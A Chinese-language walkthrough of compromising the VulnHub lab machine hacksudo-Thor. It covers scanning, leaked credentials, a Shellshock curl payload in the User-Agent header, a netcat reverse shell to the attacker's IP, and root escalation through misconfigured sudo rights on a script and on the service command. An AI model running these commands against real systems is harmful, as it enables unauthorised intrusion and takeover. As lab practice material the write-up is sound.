打靶-hacksudo-Thor

前言

靶机下载地址:https://download.vulnhub.com/hacksudo/hackdudo2.rar

靶机ip:192.168.31.210

kali ip:192.168.31.215

靶机难度:中等

目标:取得root权限

渗透过程

开局依旧给ip

image-20240619195739966

直接扫

1
nmap -sV 192.168.31.210 -A

image-20240619195901319

开放饿了21 22 80端口

扫目录吧

image-20240619200346440

好多页面都需要登录,找找密码吧

image-20240619200702517

/README.md存在信息泄露,发现项目地址

image-20240619200828407

zakee94

image-20240619201138863

发现账号密码admin/password123

尝试登录

最后在这个页面登录成功

image-20240619201311586

里面可以看到其他用户的信息,包括账号密码

image-20240619201441233

额,暂时没发现有啥用

继续看其他目录

news.php发现!– cgi-bin —!>

image-20240619201731350

有问题,破壳漏洞,之前在Ctfshow大赛原题做过

使用dirsearch对/cgi-bin这个目录进行爬取,找cgi和sh结尾的目录,在这里我们找到了两个目录/cgi-bin/backup.cgi和/cgi-bin/shell.sh

1
python3 dirsearch.py -u http://192.168.31.210/cgi-bin/ -f -e cgi,sh

image-20240619202533790

使用nmap脚本进行破壳漏洞探测,发现backup.cgi存在破壳漏洞

1
nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi,cmd=ls 192.168.31.210

image-20240619202619462

使用nmap脚本进行破壳漏洞探测,发现shell.sh也存在破壳漏洞

1
nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 192.168.31.210

image-20240619202701279

使用curl命令,在ua头中添加破壳漏洞的payload,可以看到成功回显

1
curl -H "user-agent: () { :; }; echo;echo;/bin/bash -c 'id'" \http://192.168.31.210/cgi-bin/backup.cgi

image-20240619202843135

尝试反弹shell

1
curl -H "user-agent: () { :; }; echo;echo;/bin/bash -c 'nc -e /bin/bash 192.168.31.215 999'" \http://192.168.31.210/cgi-bin/backup.cgi

哇哇,又学了一招,使用python升级为交互式shell(死去的回忆突然攻击我,想起某次反弹shell没有root@qqqq的场景。。。

1
2
python -c 'import pty;pty.spawn("/bin/bash")'
SHELL=/bin/bash script -q /dev/null 这个也可以

Service提权

查看什么可以利用提权

sudo -l

image-20240619203403690

什么玩意,锤子?

使用thor的用户权限执行脚本,此脚本会首先要求我们输入thor的密钥,在这里我们输入任意值都可以,我们回车确认后,会接着要求我们输入秘密消息,在这里我们输入一个命令id,发现命令成功执行,提示我们用户是一个thor的用户

1
sudo -u thor /home/thor/./hammer.sh

查看thor用户的sudo权限,发现可以无需密码就能以root权限使用cat命令,以及使用root的权限运行service命令,在这里可以直接使用service提权到root。在某些命令配置错误、配置不当时,可以通过这个网站寻找提权的方法:GTFOBins

https://gtfobins.github.io/

1
sudo service ../../bin/bash

image-20240619203801157

总结

交互式shell

1
2
python3 -c 'import pty;pty.spawn("/bin/bash")'
SHELL=/bin/bash script -q /dev/null 这个也可以

GTFOBins提权–service

image-20240619204923892

image-20240619204909547